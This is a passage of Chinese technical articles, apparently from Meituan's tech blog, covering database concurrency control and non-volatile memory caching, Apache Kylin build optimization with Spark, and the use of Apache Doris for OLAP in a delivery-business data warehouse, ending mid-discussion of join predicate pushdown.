于是，我们就想如果把 CC 就是并发控制从数据库这种体系里面解耦出来应该怎

么做？有很多种方式，最左边的这种其实是比较传统的方式，这种方式实际上并没

有让数据库存储层变得更简单，只是在存储地上面做了一个事务处理层，这是一个

比较浅的做法。中间的这种就是一个很暴力的做法，它是在物理的存储上面加一个

Transaction Tier，然后在上面做存储做运算。

大家应该听说过 Transactional Memory，就是事务内存，这种就是直接用事务内存

做事务处理，是一种很暴力的方式。最右边是我们提出来的方式，把并发控制的层次

分成了两层，一种是我们叫操作层的并发控制，一种是事务层的并发控制，把它们合

在一起变成一个新的模块。实践下来肯定是我们这种方式效果明显地更好，这种很暴

力的事务内存的方式，实际上性能是不可以接受的。

我们其实看到现在有一些做存储的同学，他有一些比较天真的想法，他认为把事务做

到存储的最底层，然后上面就不需要关心事务了，实际上那是不行的。事务是跟系统

的功能是有很多耦合的因子在里面的，不能完全把它抛弃掉。然后最左边这种方式的

结果是不彻底的，实现 B-tree 的时候还是会挺复杂的。然后我们提出的这种方式，
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可以清楚的把 CC 给抽离出来。

这个事情其实并不是那么的简单，上面是一个很简单的例子，A 和 B 是两个物理数

据，然后在数据库的数据结构里面，定义两个引用（Reference），A1 和 A2，B1 和

B2，A1 和 A2 都是指向 A 的，B1 和 B2 都是指向 B 的。上面的事务层实际上是对

A1、A2、B1、B2 进行访问的。这个时候如果只是通过逻辑层去决定事物跟事物是

否冲突的话，是会出错的。因为这里的逻辑层跟物理层，有一个重复引用的关系，可

以看到下面这个事务处理的 Schedule，从 A1、A2、B1、B2 这种方式去看，好像

这两个事务这样处理是没问题的，它是有这种可串行化的能力的，但实际上并没有，

因为 A1 和 A2 指向的是同样一个数据。

这种实际上就是说如果真的要去把这个事务抽离出来的时候，会有很多的问题需要去

解决，我这里没有办法深入地探讨，总之我们做了这样一个尝试，我们叫 Transpar-
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ent Concurrency Control（TCC），就是透明的并发控制的一种模式。

我们把这个事务层抽成两层，一个是事务层次的并发控制，一个是操作层次的并发控

制，让这两种东西能够配合起来使用。然后用户去编写程序的时候，他可以不要去关

心操作层面的并发控制，他直接去写他的 B-Tree 就行了。但是写好 B-Tree 之后，

在事务层次上的这种并发控制，需要提供一些语义的信息说明哪种操作跟哪种操作之

间实际上是不会冲突的，这样整个事务处理过程就可以保证正确性和高效性。

我们做了一些实验，去验证这样的一个解耦。右边的这些图，这种圆圈的线代表原始

数据库实现的性能，可以看到我们的方式（TCC）的性能在很多情况下可以接近原始

数据库的性能，这是解耦之后数据库的表现。很多时候解耦之后的表现可以接近原始

数据库的性能，所以我们觉得这种解耦实际上还是可行的。但如果真的要把它用到一

个现实的系统当中，其实并没有那么简单。这是我介绍的第二个研究工作，就是我们

在数据库解耦上面的一些有趣的发现。
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2.2.3	新硬件

最后我再谈一谈新硬件，就是这种非易失内存。英特尔的傲腾是现在市面上唯一的一

个真正的非易失内存产品，图中是产品的相关指标。对于存储器件的话，我们一般看

两个指标，一个是带宽，一个是延迟。

可以看到它的带宽和延迟都是远远超过 SSD，当然更加超过这种硬盘。它的价格会

比 SSD 和硬盘要昂贵不少，但相对于内存而言，它还是便宜的，我们可以预测它后

面会越来越便宜，它跟 SSD 之间的一个价格的差异会变得越来越小，所以以后它有

可能会取代 SSD 这种固态硬盘，但是不会太早。这种新的存储，它的性能更好，又

比内存的造价低，所以它以后在系统当中肯定是有很重要的一个位置的。现在有了这

种硬件之后，我们需要讨论在数据库系统里面，这个硬件到底起什么作用，一个新的

数据库的架构应该怎么去使用它？怎么定位它的价值和位置？
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我们团队对这个东西讨论了很长的时间，最后有一个这样的设计，首先非易失内存这

个东西，当然要用到数据库里面，数据库有各种形态的数据库，不同的形态的数据库

使用方式是不一样的，但我们最后把它定位在云的数据库上面，因为我们知道云是未

来的最主要的架构。在云的数据库上面怎么去用这个东西，我们觉得它跟 RDMA 的

使用应该结合在一起。

现在的云数据库变成一种计算节点跟存储节点是相对分开的架构方式。然后一旦

NVM 加进来之后，我们希望它成为计算节点跟存储节点之间的一个缓存。我们觉得

现在暂时不能用它来做全量数据的存储，因为它的价格实在是比较昂贵，很多冷的数

据，完全没有必要存在这样昂贵的存储里面，所以它作为一种缓存，比较合适的。

另外一方面，它作为一个缓存，不应该是一个割裂的节点，因为我们去看它的性能指

标，可以看到实际上这种非易失内存的吞吐、延迟，和在高速网络上的 RDMA 的吞

吐和延迟是比较接近的。如果比较接近的话，这个器件是通过 RDMA 的远程去访问，

还是通过本地访问的速度差异有可能并不会很大。如果这个速度的差异并不会很大的

话，我们实际上是可以把多个节点的 NVM 联合在一起，作为共享的缓存，缓存共享

有非常多的优势，省去了很多缓存数据同步的代价，然后还可以让系统的负载均衡变

得更好。

我们决定去设计这样一个系统架构。这个是 NVM，我们叫存储节点和计算节点之间

的一个缓存。
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我们这个事情正在做的过程中，所以目前为止我们是实现了一个分布式的缓存，可以

作为共享缓存来用。我们开始讨论它应该是作为数据库而言，是行级别的缓存还是块

级别的缓存，最后我们的选择是块级别的缓存，主要的原因还是因为实现起来更简

单。我们先试一试，如果做到行级别的缓存的话，是有很多的工作量的，我们后期可

能还会去尝试。
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然后缓存的基本的测试，我们觉得我们的实现基本已经到位了，就是它的带宽的瓶颈

基本上压到了 RDMA 访问带宽的瓶颈，如果要对它进行读写的话，它的瓶颈基本上

就是 RDMA 远程访问的瓶颈，然后它的性能是远远高于像 Redis 这样的一个系统

的，我们希望用这个缓存把它放在数据库里面，去提升这种云数据库的一个性能，但

这个过程我们还在实现当中，我们有一些初步的结果，它是有一些效果的，特别是面

对底层是 SSD 或者磁盘这样的系统的时候。我们希望后面有更明确结果的时候，再

给大家介绍。

03 相关论文列表

这是我们实验室的一些代表性论文，不是很全，我刚才讲的部分技术并不在列，因为
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还没有公开发表。如果感兴趣的话，大家可以阅读一下。

写在后面

华东师范大学周烜教授也是 2020-2021 年度美团科研课题合作学者。当前美团技术

团队与超过 30 位来自国内外高校和科研院所的学者建立了科研课题合作。美团科研

合作计划，基于美团在生活服务领域全场景里提炼出的科研命题，面向学术界征集前

沿解决方案。

我们致力于与学术界“一起解决真实世界的问题”，愿与学术界共同推动产学研成果

落地。2021 年将更加精彩纷呈，敬请期待。



Apache	Kylin 的实践与优化

作者：岳庆

背景

销售业务的特点是规模大、领域多、需求密。美团到店餐饮擎天销售系统（以下简称

“擎天”）作为销售数据支持的主要载体，不仅涉及的范围较广，而且面临的技术场景

也非常复杂（多组织层级数据展示及鉴权、超过 1/3 的指标需要精准去重，峰值查询

已经达到数万级别）。在这样的业务背景下，建设稳定高效的 OLAP 引擎，协助分析

人员快速决策，已经成为到餐擎天的核心目标。

Apache Kylin 是一个基于 Hadoop 大数据平台打造的开源 OLAP 引擎，它采用了多

维立方体预计算技术，利用空间换时间的方法，将查询速度提升至亚秒级别，极大地

提高了数据分析的效率，并带来了便捷、灵活的查询功能。基于技术与业务匹配度，

擎天于 2016 年采用 Kylin 作为 OLAP 引擎，接下来的几年里，这套系统高效地支撑

了我们的数据分析体系。

2020 年，美团到餐业务发展较快，数据指标也迅速增加。基于 Kylin 的这套系统，

在构建和查询上均出现了严重的效率问题，从而影响到数据的分析决策，并给用户体

验优化带来了很大的阻碍。技术团队经过半年左右的时间，对 Kylin 进行一系列的优

化迭代，包括维度裁剪、模型设计以及资源适配等等等，帮助销售业绩数据 SLA 从

90% 提升至 99.99%。基于这次实战，我们沉淀了一套涵盖了“原理解读”、“过程

拆解”、“实施路线”的技术方案。希望这些经验与总结，能够帮助业界更多的技术团

队提高数据产出与业务决策的效率。

数据

http://kylin.apache.org/cn/
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问题与目标

销售作为衔接平台和商家的桥梁，包含销售到店和电话拜访两种业务模式，以战区、

人力组织架构逐级管理，所有分析均需要按 2 套组织层级查看。在指标口径一致、数

据产出及时等要求下，我们结合 Kylin 的预计算思想，进行了数据的架构设计。如下

图所示：

而 Kylin 计算维度组合的公式是 2^N（N 为维度个数），官方提供维度剪枝的方式，

减少维度组合个数。但由于到餐业务的特殊性，单任务不可裁剪的组合个数仍高达

1000+。在需求迭代以及人力、战区组织变动的场景下，需要回溯全部历史数据，会

耗费大量的资源以及超高的构建时长。而基于业务划分的架构设计，虽能够极大地保

证数据产出的解耦，保证指标口径的一致性，但是对 Kylin 构建产生了很大的压力，

进而导致资源占用大、耗时长。基于以上业务现状，我们归纳了 Kylin 的 MOLAP 模

式下存在的问题，具体如下：

1. 效率问题命中难（实现原理）：构建过程步骤多，各步骤之间强关联，仅从问

题的表象很难发现问题的根本原因，无法行之有效地解决问题。

2. 构建引擎未迭代（构建过程）：历史任务仍采用 MapReduce 作为构建引擎，

没有切换到构建效率更高的 Spark。
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3. 资源利用不合理（构建过程）：资源浪费、资源等待，默认平台动态资源适配

方式，导致小任务申请了大量资源，数据切分不合理，产生了大量的小文件，

从而造成资源浪费、大量任务等待。

4. 核心任务耗时长（实施路线）：擎天销售交易业绩数据指标的源表数据量大、

维度组合多、膨胀率高，导致每天构建的时长超过 2 个小时。

5. SLA质量不达标（实施路线）：SLA 的整体达成率未能达到预期目标。

在认真分析完问题，并确定提效的大目标后，我们对 Kylin 的构建过程进行了分类，

拆解出在构建过程中能提升效率的核心环节，通过“原理解读”、“层层拆解”、“由点

及面”的手段，达成双向降低的目标。具体量化目标如下图所示：

优化前提 - 原理解读

为了解决效率提升定位难、归因难的问题，我们解读了 Kylin 构建原理，包含了预计

算思想以及 By-layer 逐层算法。
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预计算

根据维度组合出所有可能的维度，对多维分析可能用到的指标进行预计算，将计算好

的结果保存成 Cube。假设我们有 4 个维度，这个 Cube 中每个节点（称作 Cuboid）

都是这 4 个维度的不同组合，每个组合定义了一组分析的维度（如 group by），指标

的聚合结果就保存在每个 Cuboid 上。查询时，我们根据 SQL 找到对应的 Cuboid，

读取指标的值，即可返回。如下图所示：

By-layer 逐层算法

一 个 N 维 的 Cube， 是 由 1 个 N 维 子 立 方 体、N 个（N-1）维 子 立 方 体、N*(N-

1)/2 个 (N-2) 维子立方体、……N 个 1 维子立方体和 1 个 0 维子立方体构成，总共
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有 2^N 个子立方体。在逐层算法中，按照维度数逐层减少来计算，每个层级的计算

（除了第一层，由原始数据聚合而来），是基于上一层级的计算结果来计算的。例如：

group by [A,B] 的结果，可以基于 group by [A,B,C] 的结果，通过去掉 C 后聚合得

来的，这样可以减少重复计算，当 0 维 Cuboid 计算出来的时候，整个 Cube 的计算

也就完成了。如下图所示：

过程分析 - 层层拆解

在了解完 Kylin 的底层原理后，我们将优化的方向锁定在“引擎选择”、“数据读取”、

“构建字典”、“分层构建”、“文件转换”五个环节，再细化各阶段的问题、思路及目

标后，我们终于做到了在降低计算资源的同时降低了耗时。详情如下表所示：
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构建引擎选择

目前，我们已经将构建引擎已逐步切换为 Spark。擎天早在 2016 年就使用 Kylin 作

为 OLAP 引擎，历史任务没有切换，仅仅针对 MapReduce 做了参数优化。其实在

2017 年，Kylin 官网已启用 Spark 作为构建引擎（官网启用 Spark 构建引擎），构建

效率相较 MapReduce 提升 1 至 3 倍，还可通过 Cube 设计选择切换，如下图所示：

读取源数据

Kylin 以外部表的方式读取 Hive 中的源数据，表中的数据文件（存储在 HDFS）作为

下一个子任务的输入，此过程可能存在小文件问题。当前，Kylin 上游数据宽表文件

数分布比较合理，无需在上游设置合并，如果强行合并反而会增加上游源表数据加工

时间。

http://spark.apache.org/docs/2.2.1/configuration.html
http://kylin.apache.org/cn_blog/2017/02/25/v2.0.0-beta-ready/
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对于项目需求，要回刷历史数据或增加维度组合，需要重新构建全部的数据，通常采

用按月构建的方式回刷历史，加载的分区过多出现小文件问题，导致此过程执行缓

慢。在 Kylin 级别重写配置文件，对小文件进行合并，减少 Map 数量，可有效地提

升读取效率。

合并源表小文件：合并 Hive 源表中小文件个数，控制每个 Job 并行的 Task 个数。

调整参数如下表所示：

Kylin 级别参数重写：设置 Map 读取过程的文件大小。调整参数如下表所示：

构建字典

Kylin 通过计算 Hive 表出现的维度值，创建维度字典，将维度值映射成编码，并保存

保存统计信息，节约 HBase 存储资源。每一种维度组合，称为一个 Cuboid。理论

上来说，一个 N 维的 Cube，便有 2^N 种维度组合。

组合数量查看

在对维度组合剪枝后，实际计算维度组合难以计算，可通过执行日志（截图为提取事

实表唯一列的步骤中，最后一个 Reduce 的日志），查看具体的维度组合数量。如下

图所示：
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全局字典依赖

擎天有很多业务场景需要精确去重，当存在多个全局字典列时，可设置列依赖，例

如：当同时存在“门店数量”、“在线门店数量”数据指标，可设置列依赖，减少对超

高基维度的计算。如下图所示：

计算资源配置

当指标中存在多个精准去重指标时，可适当增加计算资源，提升对高基维度构建的效

率。参数设置如下表所示：

分层构建

此过程为 Kylin 构建的核心，切换 Spark 引擎后，默认只采用 By-layer 逐层算法，
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不再自动选择（By-layer 逐层算法、快速算法）。Spark 在实现 By-layer 逐层算法

的过程中，从最底层的 Cuboid 一层一层地向上计算，直到计算出最顶层的 Cuboid

（相当于执行了一个不带 group by 的查询），将各层的结果数据缓存到内存中，跳过

每次数据的读取过程，直接依赖上层的缓存数据，大大提高了执行效率。Spark 执行

过程具体内容如下。

Job 阶段

Job 个数为 By-layer 算法树的层数，Spark 将每层结果数据的输出，作为一个

Job。如下图所示：

Stage 阶段

每个 Job 对应两个 Stage 阶段，分为读取上层缓存数据和缓存该层计算后的结果数

据。如下图所示：
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Task 并行度设置

Kylin 根据预估每层构建 Cuboid 组合数据的大小（可通过维度剪枝的方式，减少维度

组合的数量，降低 Cuboid 组合数据的大小，提升构建效率，本文暂不详细介绍）和

分割数据的参数值计算出任务并行度。计算公式如下：

 ● Task 个数计算公式：Min(MapSize/cut-mb ，MaxPartition) ；Max(Map-

Size/cut-mb ，MinPartition)

 ○ MapSize：每层构建的 Cuboid 组合大小，即：Kylin 对各层级维度组合大小

的预估值。

 ○ cut-mb：分割数据大小，控制 Task 任务并行个数，可通过 kylin.engine.

spark.rdd-partition-cut-mb 参数设置。

 ○ MaxPartition：最大分区，可通过 kylin.engine.spark.max-partition 参数设置。

 ○ MinPartition：最小分区，可通过 kylin.engine.spark.min-partition 参数设置。

 ● 输出文件个数计算：每个 Task 任务将执行完成后的结果数据压缩，写入

HDFS，作为文件转换过程的输入。文件个数即为：Task 任务输出文件个数

的汇总。

资源申请计算

平台默认采用动态方式申请计算资源，单个 Executor 的计算能力包含：1 个逻辑
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CPU（以下简称 CPU）、6GB 堆内内存、1GB 的堆外内存。计算公式如下：

 ● CPU = kylin.engine.spark-conf.spark.executor.cores * 实 际 申 请 的

Executors 个数。

 ● 内 存 =（kylin.engine.spark-conf.spark.executor.memory + spark.yarn.

executor.memoryOverhead）* 实际申请的 Executors 个数。

 ● 单 个 Executor 的 执 行 能 力 = kylin.engine.spark-conf.spark.executor.

memory / kylin.engine.spark-conf.spark.executor.cores，即：1 个 CPU

执行过程中申请的内存大小。

 ● 最大 Executors 个数 = kylin.engine.spark-conf.spark.dynamicAllocation.

maxExecutors，平台默认动态申请，该参数限制最大申请个数。

在资源充足的情况下，若单个 Stage 阶段申请 1000 个并行任务，则需要申请资

源 达 到 7000GB 内 存 和 1000 个 CPU， 即：CPU：1*1000=1000；内存：（6+1）

*1000=7000GB。

资源合理化适配

由于 By-layer 逐层算法的特性，以及 Spark 在实际执行过程中的压缩机制，实际执

行的 Task 任务加载的分区数据远远小于参数设置值，从而导致任务超高并行，占用

大量资源，同时产生大量的小文件，影响下游文件转换过程。因此，合理的切分数据

成为优化的关键点。通过 Kylin 构建日志，可查看各层级的 Cuboid 组合数据的预估

大小，以及切分的分区个数（等于 Stage 阶段实际生成的 Task 个数）。如下图所示：

结合 Spark UI 可查看实执行情况，调整内存的申请，满足执行所需要的资源即可，

减少资源浪费。
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1. 整体资源申请最小值大于 Stage 阶段 Top1、Top2 层级的缓存数据之和，保证缓

存数据全部在内存。如下图所示：

计算公式：Stage 阶段 Top1、Top2 层级的缓存数据之和 < kylin.engine.spark-

conf.spark.executor.memory * kylin.engine.spark-conf.spark.memory.

fraction * spark.memory.storageFraction * 最大 Executors 个数

2. 单个 Task 实际所需要的内存和 CPU（1 个 Task 执行使用 1 个 CPU）小于单个

Executor 的执行能力。如下图所示：

计算公式：单个 Task 实际所需要的内存 < kylin.engine.spark-conf.spark.executor.

memory * kylin.engine.spark-conf.spark.memory.fraction * spark.memory.

st·orageFraction / kylin.engine.spark-conf.spark.executor.cores。 参 数 说 明

如下表所示：
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文件转换

Kylin 将构建之后的 Cuboid 文件转换成 HTable 格式的 Hfile 文件，通过 BulkLoad

的方式将文件和 HTable 进行关联，大大降低了 HBase 的负载。此过程通过一个

MapReduce 任务完成，Map 个数为分层构建阶段输出文件个数。日志如下：

此阶段可根据实际输入的数据文件大小（可通过 MapReduce 日志查看），合理申请

计算资源，避免资源浪费。

计 算 公 式：Map 阶 段 资 源 申 请 = kylin.job.mr.config.override.mapreduce.map.

memory.mb * 分层构建阶段输出文件个数。具体参数如下表所示：
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实施路线 - 由点及面

交易试点实践

我们通过对 Kylin 原理的解读以及构建过程的层层拆解，选取销售交易核心任务进行

试点实践。如下图所示：

实践结果对比

针对销售交易核心任务进行实践优化，对比调整前后资源实际使用情况和执行时长，

最终达到双向降低的目标。如下图所示：
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成果展示

资源整体情况

擎天现有 20+ 的 Kylin 任务，经过半年时间持续优化迭代，对比 Kylin 资源队列月均

CU 使用量和 Pending 任务 CU 使用量，在同等任务下资源消耗已明显降低。如下

图所示：
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SLA整体达成率

经过了由点及面的整体优化，擎天于 2020 年 6 月 SLA 达成率达到 100%。如下图

所示：

展望

Apache Kylin 在 2015 年 11 月正式成为 Apache 基金会的顶级项目。从开源到成

为 Apache 顶级项目，只花了 13 个月的时间，而且它也是第一个由中国团队完整贡

献到 Apache 的顶级项目。目前，美团采用比较稳定的 V2.0 版本，经过近 4 年的使

用与积累，到餐技术团队在优化查询性能以及构建效率层面都积累了大量经验，本文

主要阐述了在 Spark 构建过程的资源适配方法。值得一提的是，Kylin 官方在 2020

年 7 月发布了 V3.1 版本，引入了 Flink 作为构建引擎，统一使用 Flink 构建核心过

程，包含数据读取阶段、构建字典阶段、分层构建阶段、文件转换阶段，以上四部分

占整体构建耗时的 95% 以上。此次版本的升级也大幅度提高了 Kylin 的构建效率。

详情可查看：Flink Cube Build Engine。

回顾 Kylin 构建引擎的升级过程，从 MapReduce 到 Spark，再到如今的 Flink，

构建工具的迭代始终向更加优秀的主流引擎在靠拢，而且 Kylin 社区有很多活跃的优

https://issues.apache.org/jira/browse/KYLIN-3758
http://spark.apache.org/docs/2.2.1/configuration.html
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秀代码贡献者，他们也在帮助扩大 Kylin 的生态，增加更多的新功能，非常值得大家

学习。最后，美团到店餐饮技术团队再次表达对 Apache Kylin 项目团队的感谢。

作者简介
岳庆，2019 年加入美团，到店餐饮研发中心工程师。
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Apache	Doris 在美团外卖数仓中的应用实践

作者：朱良

序言

美团外卖数据仓库技术团队负责支撑日常业务运营及分析师的日常分析，由于外卖

业务特点带来的数据生产成本较高和查询效率偏低的问题，他们通过引入 Apache 

Doris 引擎优化生产方案，实现了低成本生产与高效查询的平衡。并以此分析不同业

务场景下，基于 Kylin 的 MOLAP 模式与基于 Doris 引擎的 ROLAP 模式的适用性

问题。希望能对大家有所启发或者帮助。

本文侧重于以 Doris 引擎为“发动机”的数仓生产架构的改进与思考。在开源的大环

境下，各种数据引擎百花齐放，但由于业务的复杂性与多样性，目前并没有哪个引擎

能够适配所有业务场景，因此希望通过我们的业务实践与思考为大家提供一些经验参

考。美团外卖数仓技术团队致力于将数据应用效率最大化，同时兼顾研发、生产与运

维成本的最小化，建设持续进步的数仓能力，也欢迎大家多给我们提出建议。

数仓交互层引擎的应用现状

目前，互联网业务规模变得越来越大，不论是业务生产系统还是日志系统，基本上都

是基于 Hadoop/Spark 分布式大数据技术生态来构建数据仓库，然后对数据进行适

当的分层、加工、管理。而在数据应用交互层面，由于时效性的要求，数据最终的展

现查询还是需要通过 DBMS（MySQL）、MOLAP（Kylin）引擎来进行支撑。如下图

所示：
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汇总数据的交互

业务团队日常经营分析最典型的场景就是各种维度下的自定义查询，面对如此灵活

可变、所见即所得的应用场景，美团平台使用 Kylin 作为公司的主要 MOLAP 引

擎。MOLAP 是预计算生产，在增量业务，预设维度分析场景下表现良好，但在变

化维的场景下生产成本巨大。例如，如果使用最新商家类型回溯商家近三个月的表

现，需要重新计算三个月的 Cube，需花费几个小时，来计算近 TB 的历史数据。

另外，应对非预设维度分析，MOLAP 模型需要重新进行适配计算，也需要一定的

迭代工作。

明细数据的交互

业务分析除了宏观数据之外，对明细数据查询也是一种刚需。通常大家会选择

MySQL 等关系型 DB 作为明细数据的快速检索查询，但当业务成长较快时，很快就

会遇到性能瓶颈，并且运维成本也很高。例如，大数据量的同步、新增字段、历史数

据更新等操作，它们的维护成本都非常高。

外卖运营业务特点

美团的使命是“帮大家吃得更好，生活更好”。外卖业务为大家提供送餐服务，连接

商家与用户，这是一个劳动密集型的业务，外卖业务有上万人的运营团队来服务全国

几百万的商家，并以“商圈”为单元，服务于“商圈”内的商家。“商圈”是一个组
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织机构维度中的最小层级，源于外卖组织的特点，“商圈”及其上层组织机构是一个

变化维度，当“商圈”边界发生变化时，就导致在往常日增量的业务生产方式中，历

史数据的回溯失去了参考意义。在所有展现组织机构数据的业务场景中，组织机构的

变化是一个绕不开的技术问题。此外，商家品类、类型等其它维度也存在变化维的问

题。如下图所示：

数据生产面临的挑战

数据爆炸，每日使用最新维度对历史数据进行回溯计算。在 Kylin 的 MOLAP 模式下

存在如下问题：

 ● 历史数据每日刷新，失去了增量的意义。

 ● 每日回溯历史数据量大，10 亿 + 的历史数据回溯。

 ● 数据计算耗时 3 小时 +，存储 1TB+，消耗大量计算存储资源，同时严重影响

SLA 的稳定性。

 ● 预计算的大量历史数据实际使用率低下，实际工作中对历史的回溯 80% 集中在

近 1 个月左右，但为了应对所有需求场景，业务要求计算近半年以上的历史。

 ● 不支持明细数据的查询。

解决方案：引入 MPP 引擎，数据现用现算

既然变化维的历史数据预计算成本巨大，最好的办法就是现用现算，但现用现算

需要强大的并行计算能力。OLAP 的实现有 MOLAP、ROLAP、HOLAP 三种形

式，MOLAP 以 Cube 为表现形式，但计算与管理成本较高。ROLAP 需要强大的

关系型 DB 引擎支撑。长期以来，由于传统关系型 DBMS 的数据处理能力有限，所
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以 ROLAP 模式受到很大的局限性。随着分布式、并行化技术成熟应用，MPP 引

擎逐渐表现出强大的高吞吐、低时延计算能力，号称“亿级秒开”的引擎不在少数，

ROLAP 模式可以得到更好的延伸。单从业务实际应用考虑，性能在千万量级关联查

询现场计算秒开的情况下，已经可以覆盖到很多应用场景，具备应用的可能性。例

如：日数据量的 ROLAP 现场计算，周、月趋势的计算，以及明细数据的浏览都可以

较好的应对。

下图是 MOLAP 模式与 ROLAP 模式下应用方案的比较：

MOLAP模式的劣势

1. 应用层模型复杂，根据业务需要以及 Kylin 生产需要，还要做较多模型预处

理。这样在不同的业务场景中，模型的利用率也比较低。

2. Kylin 配置过程繁琐，需要配置模型设计，并配合适当的“剪枝”策略，以实

现计算成本与查询效率的平衡。

3. 由于 MOLAP 不支持明细数据的查询，在“汇总 + 明细”的应用场景中，明

细数据需要同步到 DBMS 引擎来响应交互，增加了生产的运维成本。

4. 较多的预处理伴随着较高的生产成本。
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ROLAP模式的优势

1. 应用层模型设计简化，将数据固定在一个稳定的数据粒度即可。比如商家粒

度的星形模型，同时复用率也比较高。

2. App 层的业务表达可以通过视图进行封装，减少了数据冗余，同时提高了应

用的灵活性，降低了运维成本。

3. 同时支持“汇总 + 明细”。

4. 模型轻量标准化，极大的降低了生产成本。

综上所述，在变化维、非预设维、细粒度统计的应用场景下，使用 MPP 引擎驱动的

ROLAP 模式，可以简化模型设计，减少预计算的代价，并通过强大的实时计算能

力，可以支撑良好的实时交互体验。

双引擎下的应用场景适配问题

架构上通过 MOLAP+ROLAP 双引擎模式来适配不同应用场景，如下图所示：

技术权衡

MOLAP：通过预计算，提供稳定的切片数据，实现多次查询一次计算，减轻了查询

时的计算压力，保证了查询的稳定性，是“空间换时间”的最佳路径。实现了基于

Bitmap 的去重算法，支持在不同维度下去重指标的实时统计，效率较高。 ROLAP：
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基于实时的大规模并行计算，对集群的要求较高。MPP 引擎的核心是通过将数据分

散，以实现 CPU、IO、内存资源的分布，来提升并行计算能力。在当前数据存储以

磁盘为主的情况下，数据 Scan 需要的较大的磁盘 IO，以及并行导致的高 CPU，仍

然是资源的短板。因此，高频的大规模汇总统计，并发能力将面临较大挑战，这取决

于集群硬件方面的并行计算能力。传统去重算法需要大量计算资源，实时的大规模去

重指标对 CPU、内存都是一个巨大挑战。目前 Doris 最新版本已经支持 Bitmap 算

法，配合预计算可以很好地解决去重应用场景。

业务模型适配

MOLAP： 当业务分析维度相对固化，并在可以使用历史状态时，按照时间进行增量

生产，加工成本呈线性增长状态，数据加工到更粗的粒度（如组织单元），减少结果数

据量，提高交互效率。如上图所示，由 A 模型预计算到 B 模型，使用 Kylin 是一个不

错的选择。

ROLAP： 当业务分析维度灵活多变或者特定到最新的状态时（如上图 A 模型中，始

终使用最新的商家组织归属查看历史），预计算回溯历史数据成本巨大。在这种场景

下，将数据稳定在商家的粒度，通过现场计算进行历史数据的回溯分析，实现现用

现算，可以节省掉预计算的巨大成本，并带来较大的应用灵活性。这种情况下适合

MPP 引擎支撑下的 ROLAP 生产模式。
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MPP 引擎的选型

目前开源的比较受关注的 OLAP 引擎很多，比如 Greenplum、Apache Impala、

Presto、Doris、ClickHouse、Druid、TiDB 等等，但缺乏实践案例的介绍，所以

我们也没有太多的经验可以借鉴。于是，我们就结合自身业务的需求，从引擎建设成

本出发，并立足于公司技术生态融合、集成、易用性等维度进行综合考虑，作为选型

依据，最终我们平台部门选择了 2018 年刚进入 Apache 社区的 Doris。

Doris 简介及特点

Doris 是基于 MPP 架构的 OLAP 引擎，主要整合了 Google Mesa（数据模型）、

Apache Impala（MPP Query Engine）和 Apache ORCFile （存储格式，编码和压

缩）的技术。

Doris 的系统架构如下，主要分为 FE 和 BE 两个组件，FE 主要负责查询的解析、编

译、优化、调度和元数据管理；BE 主要负责查询的执行和数据存储。关于 Doris 的

更多技术细节，可参考其官方文档。

http://doris.apache.org/documentation/cn/internal/metadata-design.html
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整体架构

Doris 的特点：

 ● 同时支持高并发点查询和高吞吐的 Ad-hoc 查询。

 ● 同时支持离线批量导入和实时数据导入。

 ● 同时支持明细和聚合查询。

 ● 兼容 MySQL 协议和标准 SQL。

 ● 支持 Rollup Table 和 Rollup Table 的智能查询路由。

 ● 支持较好的多表 Join 策略和灵活的表达式查询。

 ● 支持 Schema 在线变更。

 ● 支持 Range 和 Hash 二级分区。
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Doris 在外卖数仓中的应用效率

上图是我们在一个分析项目改造中的评估项目收益，整体在查询效率不变的情况下，

生产耗能及存储成本都有较大收益。

以 20 台 BE+3FE 的 Doris 环境，效率、性能表现情况如下：

 ● 支撑数据分析产品数十个以上，整体响应达到 ms 级。

 ● 支持百万、千万级大表关联查询，同时进行维表关联的雪花模型，经过

Colocate Join 特性优化，可以实现秒级响应。

 ● 日级别，基于商家明细现场计算，同时满足汇总及下钻明细查询，查询时效基

本都可以控制在秒级。

 ● 7 日趋势分析，2~3 秒。由于数据量较大，根据集群规模不同查询性能有所区

别，但数据量较大时，调动的集群资源较多，因此 MPP 的并发性能受限于集群

的性能。一般原则是并发较高的业务，需要严格控制查询时效（基本在毫秒级），

对于并发不高的业务，允许进行较大的查询，但也要考虑集群的承受能力。

 ● 通过一年来的应用以及 Doris 的不断改进升级，Doris 的高可靠、高可用、高

可扩展性也得到进一步验证，服务稳定可靠。

准实时场景下的应用

离线业务分析大多基于 T+1 的离线数据，但在营销活动场景下，外卖团队往往需要当

日的实时数据进行业务变化的监控与分析，通常情况下会采用实时流计算来实现。
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外卖实时业务监控有如下特点：

 ● 避免分钟级的生产波动影响，业务上 10、15 分钟准实时数据可以满足分析需要。

 ● 实时数据需要与离线数据进行日环比与周同比的比对。

 ● 订单业务需要事件时间，体验业务需要生产时间，业务对齐逻辑复杂。

 ● 不同业务线需求差异大，指标需要良好扩展性。

由于业务上的复杂性，实时流计算中，需要考虑诸多业务口径的对齐，业务 ER 模型

在合流处理中开发成本较高，资源占用较大，通过设计基于 Doris 的准实时生产数

仓，可以灵活地实现业务微批处理，且开发生产成本都比较低。以下为基于 Doris 的

准实时数仓架构设计，是典型的实时 Lambda 生产架构：

实现准实时计算方案，需要以下能力的支撑：

实时的写入能力：目前支持 Kafka To Doris 秒级延迟。在可靠性、稳定性建设方面

仍需进一步提升。 引擎建设：短平快的计算 + 高效的存储性能。目前 Doris 引擎性

能仍有进步空间，2020 年将有较大改进提升，随着后续 Page Cache，内存表等

能力的上线，IO 将不再拖后腿，并发能力将有较大提升。 可靠的调度能力：提供 5、

10、15、30 分钟的调度保障能力。 Lambda 架构简化：实时数据与离线数据更好

的在 Doris 中进行融合，灵活支撑应用。 高效的OLAP交互：支撑业务的灵活查询

访问，业务层通过视图进行逻辑封装直接复用汇总层多维模型，提高了开发效率，减

少了运维成本。
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相比 Storm、Flink 中的窗口计算，准实时 DB 微批的优势：

Doris 引擎在美团的重要改进

Join	谓词下推的传递性优化

如上图所示，对于下面的 SQL：

select * from t1 join t2 on t1.id = t2.id where t1.id = 1

Doris 开源版本默认会对 t2 表进行全表 Scan，这样会导致上面的查询超时，进而导

致外卖业务在 Doris 上的第一批应用无法上线。

于是我们在 Doris 中实现了第一个优化：Join 谓词下推的传递性优化（MySQL 和

TiDB 中称之为 Constant Propagation）。Join 谓词下推的传递性优化是指：基于谓
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词 t1.id = t2.id 和 t1.id = 1, 我们可以推断出新的谓词 t2.id = 1，并将谓词 t2.id = 1

下推到 t2 的 Scan 节点。 这样假如 t2 表有数百个分区的话，查询性能就会有数十倍

